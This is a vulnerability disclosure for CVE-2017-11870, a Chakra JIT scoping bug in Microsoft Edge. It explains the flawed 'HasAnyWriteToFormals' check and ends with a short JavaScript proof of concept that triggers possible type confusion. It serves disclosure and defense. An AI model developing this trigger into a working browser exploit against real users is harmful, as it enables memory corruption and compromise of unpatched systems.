Microsoft Edge: Chakra: JIT: Incorrect function declaration scope 

CVE-2017-11870


In the following JavaScript code, both of the print calls must print out "undefined" because of "x" is a formal parameter. But the second print call prints out "function x() { }". This bug may lead to type confusion in JITed code.

function f(x) {
    print(x);

    {
        function x() {

        }
    }

    print(x);
}

The following code in "PreVisitFunction" is used to decide how to optimize arguments.
    bool doStackArgsOpt = (!pnode->sxFnc.HasAnyWriteToFormals() || funcInfo->GetIsStrictMode());

"HasAnyWriteToFormals" set by "Parser::BindPidRefsInScope" returns true in the following example code where "x" is formal. But the method can't detect the above buggy case, so it may end up wrongly optimizing arguments.

function f(x) {
    x = 1;
}


PoC:
function f(x) {
    arguments;

    {
        function x() {
        }
    }
}

for (let i = 0; i < 10000; i++)
    f();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt